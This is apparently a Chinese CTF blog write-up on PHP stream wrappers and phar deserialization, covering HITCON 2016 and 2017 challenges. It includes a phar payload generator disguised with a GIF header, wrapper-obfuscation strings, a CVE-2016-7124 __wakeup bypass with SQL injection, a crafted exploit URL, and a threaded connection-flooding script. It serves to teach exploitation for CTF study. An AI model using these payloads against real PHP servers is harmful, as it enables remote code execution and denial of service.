PHP stream wrapper机制相关题目的分析整理 一、流和包装器简介 **流(stream)**是在PHP 4.3.0中引入的,作为一种通用文件、网络、数据压缩和其他操作的方式,这些操作共享一组共同的函数和用途。在其最简单的定义中,流是一种表现出流行为的资源对象。
每一种流都实现了一个**包装器(wrapper)**,包装器包含一些额外的代码用来处理特殊的协议和编码。PHP提供了一些内置的包装器。
引用流的格式如下:
其中,<schema>
为包装器的名称,如file,http,https,ftp,compress.zlib,php等。可以用stream_get_wrappers()
函数查看内置的所有包装器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 array(10) { [0]=> string(5) "https" [1]=> string(4) "ftps" [2]=> string(13) "compress.zlib" [3]=> string(3) "php" [4]=> string(4) "file" [5]=> string(4) "glob" [6]=> string(4) "data" [7]=> string(4) "http" [8]=> string(3) "ftp" [9]=> string(4) "phar" }
<target>
取决于所使用的包装器。如对于文件系统相关的流<target>
通常是所需文件的文件路径和文件名;对于网络相关的流,<target>
通常是目标的主机名和路径。
例如,可以使用file_get_contents()打开多种数据流。
1 2 3 4 5 6 7 8 9 <?php var_dump(file_get_contents('/etc/passwd')); //打开本地文件 var_dump(file_get_contents('http://www.baidu.com')); //访问网络页面 var_dump(file_get_contents('data:test/plain,coooool!')); //打开data url
二、Phar反序列化 在2018年的Black Hat大会上,安全研究员Sam Thomas
分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it
,指出通过phar://
协议对一个phar文件进行操作,可能导致触发反序列化漏洞。
PHAR(PHp ARchive)是php中的打包文件,类似于java语言的jar打包文件。
可以看到倒数第二行,Meta-data以序列化格式存储。因此php的文件系统函数在通过phar://
协议解析phar时,也需要对meta-data进行反序列化。因此可能触发反序列化漏洞。
受影响函数列表:
一些绕过方法
1 2 3 4 5 6 7 8 9 10 11 12 <? class test { public $name = 'xxx' ; } $o = new test();$phar = new Phar("phar.phar" );$phar ->startBuffering();$phar ->setStub("GIF89a<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata($o ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering();
编码绕过、大小写绕过等
1 2 3 $file = "PhAr://" . __DIR__ . '/phar.phar' ;$file = "\x70har\x3a//" . __DIR__ . '/phar.phar' ;$file = 'php://filter/read=convert.base64-encode/resource=phar://' . __DIR__ . '/phar.phar' ;
三、题目 (1)HITCON 2016 babytrick 这个似乎与stream或wrapper无关,只是顺带
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 <?php include "config.php" ;class HITCON { private $method ; private $args ; private $conn ; public function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; $this ->__conn(); } function show ( ) { list ($username ) = func_get_args(); $sql = sprintf("SELECT * FROM users WHERE username='%s'" , $username ); $obj = $this ->__query($sql ); if ( $obj != false ) { $this ->__die( sprintf("%s is %s" , $obj ->username, $obj ->role) ); } else { $this ->__die("Nobody Nobody But You!" ); } } function login ( ) { global $FLAG ; list ($username , $password ) = func_get_args(); $username = strtolower(trim(mysql_escape_string($username ))); $password = strtolower(trim(mysql_escape_string($password ))); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'" , $username , $password ); if ( $username == 'orange' || stripos($sql , 'orange' ) != false ) { $this ->__die("Orange is so shy. He do not want to see you." ); } $obj = $this ->__query($sql ); if ( $obj != false && $obj ->role == 'admin' ) { $this ->__die("Hi, Orange! Here is your flag: " . $FLAG ); } else { $this ->__die("Admin only!" ); } } function source ( ) { highlight_file(__FILE__ ); } function __conn ( ) { global $db_host , $db_name , $db_user , $db_pass , $DEBUG ; if (!$this ->conn) $this ->conn = mysql_connect($db_host , $db_user , $db_pass ); mysql_select_db($db_name , $this ->conn); if ($DEBUG ) { $sql = "CREATE TABLE IF NOT EXISTS users ( username VARCHAR(64), password VARCHAR(64), role VARCHAR(64) ) CHARACTER SET utf8" ; $this ->__query($sql , $back =false ); $sql = "INSERT INTO users VALUES ('orange', '$db_pass ', 'admin'), ('phddaa', 'ddaa', 'user')" ; $this ->__query($sql , $back =false ); } mysql_query("SET names utf8" ); mysql_query("SET sql_mode = 'strict_all_tables'" ); } function __query ($sql , $back =true ) { $result = @mysql_query($sql ); if ($back ) { return @mysql_fetch_object($result ); } } function __die ($msg ) { $this ->__close(); header("Content-Type: application/json" ); die ( json_encode( array ("msg" => $msg ) ) ); } function __close ( ) { mysql_close($this ->conn); } function __destruct ( ) { $this ->__conn(); if (in_array($this ->method, array ("show" , "login" , "source" ))) { @call_user_func_array(array ($this , $this ->method), $this ->args); } else { $this ->__die("What do you do?" ); } $this ->__close(); } function __wakeup ( ) { foreach ($this ->args as $k => $v ) { $this ->args[$k ] = strtolower(trim(mysql_escape_string($v ))); } } } if (isset ($_GET ["data" ])) { @unserialize($_GET ["data" ]); } else { new HITCON("source" , array ()); }
一道正常的反序列化题目,只有一个HITCON。观察代码可以发现,析构函数会将类的属性args作为参数,执行以属性method为名的方法。而在login()
中可以找到输出flag。所以关键在于,登陆时需要以orange账号登录 。
然而orange账号的密码是未知的。这里会注意到show()方法。可以利用show()
方法在SQL查询时进行SQL注入,查询到账户orange的密码。仅需绕过__wakeup()
魔术方法。利用CVE-2016-7124
,序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup()
的执行,从而使传入的args参数无需经过mysql_escape_string()
函数,直接地在login()
方法中实现SQL注入。爆出密码。
获得密码后即可用于login(),但是这里仍有限制:
1 2 3 if ( $username == 'orange' || stripos($sql, 'orange') != false ) { $this->__die("Orange is so shy. He do not want to see you."); }
用户名不能为’orange’,sql语句中不能包含’orange’。
以下内容来自MySql手册:
1 2 3 4 5 6 7 8 9 10 使用utf8_general_ci和utf8_unicode_ci两种 校对规则下面的比较相等: Ä = A Ö = O Ü = U 两种校对规则之间的区别是,对于utf8_general_ci下面的等式成立: ß = s 但是,对于utf8_unicode_ci下面等式成立: ß = ss
因此,username=ORÄNGE
时,可以绕过上面的php检测,而sql语句却依然能正常执行。orange账号成功登录,即可得到flag。
(2)HITCON 2017 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php $FLAG = create_function("" , 'die(`/read_flag`);' ); $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER ["REMOTE_ADDR" ]); @mkdir($SANDBOX ); @chdir($SANDBOX ); if (!isset ($_COOKIE ["session-data" ])) { $data = serialize(new User($SANDBOX )); $hmac = hash_hmac("sha1" , $data , $SECRET ); setcookie("session-data" , sprintf("%s-----%s" , $data , $hmac )); } class User { public $avatar ; function __construct ($path ) { $this ->avatar = $path ; } } class Admin extends User { function __destruct ( ) { $random = bin2hex(openssl_random_pseudo_bytes(32 )); eval ("function my_function_$random () {" ." global \$FLAG; \$FLAG();" ."}" ); $_GET ["lucky" ](); } } function check_session ( ) { global $SECRET ; $data = $_COOKIE ["session-data" ]; list ($data , $hmac ) = explode("-----" , $data , 2 ); if (!isset ($data , $hmac ) || !is_string($data ) || !is_string($hmac )) die ("Bye" ); if ( !hash_equals(hash_hmac("sha1" , $data , $SECRET ), $hmac ) ) die ("Bye Bye" ); $data = unserialize($data ); if ( !isset ($data ->avatar) ) die ("Bye Bye Bye" ); return $data ->avatar; } function upload ($path ) { $data = file_get_contents($_GET ["url" ] . "/avatar.gif" ); if (substr($data , 0 , 6 ) !== "GIF89a" ) die ("Fuck off" ); file_put_contents($path . "/avatar.gif" , $data ); die ("Upload OK" ); } function show ($path ) { if ( !file_exists($path . "/avatar.gif" ) ) $path = "/var/www/html" ; header("Content-Type: image/gif" ); die (file_get_contents($path . "/avatar.gif" )); } $mode = $_GET ["m" ]; if ($mode == "upload" ) upload(check_session()); else if ($mode == "show" ) show(check_session()); else highlight_file(__FILE__ );
可以看到源码中利用create_function()构造了一个匿名函数,直接输出flag。那么重点就在于执行这个匿名函数。类Admin的析构函数中可以执行任意函数,包括在该析构函数中使用eval定义的一个函数。然而该匿名函数的函数名中含有随机字符串,爆破是不可能爆破的,这辈子都不可能。
匿名函数并非没有名字,而是以%00lambda_%d
命名,其中%d
为数字,表示进程的第%d
个匿名函数。可以通过发送大量请求迫使apache服务器开启一个新的进程,这样%d
将重置为1。
因此,现在最重要的问题就是如果反序列化调用Admin类的析构函数。很容易找到checksession()中调用了unserialize()函数,但可惜的是这个反序列化函数无法利用,因为伪造cookie,直接修改session-data,会导致hash_equal()验证失败。
但是可以利用phar反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Admin { public $avatar = 'xxx' ; } @unlink("avatar.phar" ); $phar = new Phar("avatar.phar" );$phar ->startBuffering();$phar ->setStub("GIF89a<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata($o ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering();rename(__DIR__ . '/avatar.phar' , __DIR__ . '/avatar.jpg' ); ?>
把生成的avatar.jpg放到vps上传。随后只需要通过file_get_contents(),file_put_contents(),或file_exists()之类的文件相关函数,使用phar://
这个stream wrapper打开文件。在题目中需要再次利用upload()函数。
1 ?m=upload&url=phar:///var/www/data/xxx&lucky=%00lambda_1
官方wp有一个fork脚本,用于迫使apache开启新的进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport socketimport timefrom multiprocessing.dummy import Pool as ThreadPooltry : requests.packages.urllib3.disable_warnings() except : pass def run (i ): while 1 : HOST = 'xxxxx' PORT = 80 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall('GET / HTTP/1.1\nHost: xxxxx\nConnection: Keep-Alive\n\n' ) print 'ok' time.sleep(0.5 ) i = 8 pool = ThreadPool( i ) result = pool.map_async( run, range (i) ).get(0xffff )
(3)HITCON 2018 (4)hxp ctf 2020 resonator 题目源码:
1 2 3 4 5 <?php $file = $_GET ['file' ] ?? '/tmp/file' ;$data = $_GET ['data' ] ?? ':)' ;file_put_contents($file , $data ); echo file_get_contents($file );
参考链接 1、Phar File Format
2、Phar与Stream Wrapper造成PHP RCE的深入挖掘
3、利用 phar 拓展 php 反序列化漏洞攻击面
4、My-CTF-Web-Challenges
5、Mysql中的排序规则utf8_unicode_ci、utf8_general_ci的区别总结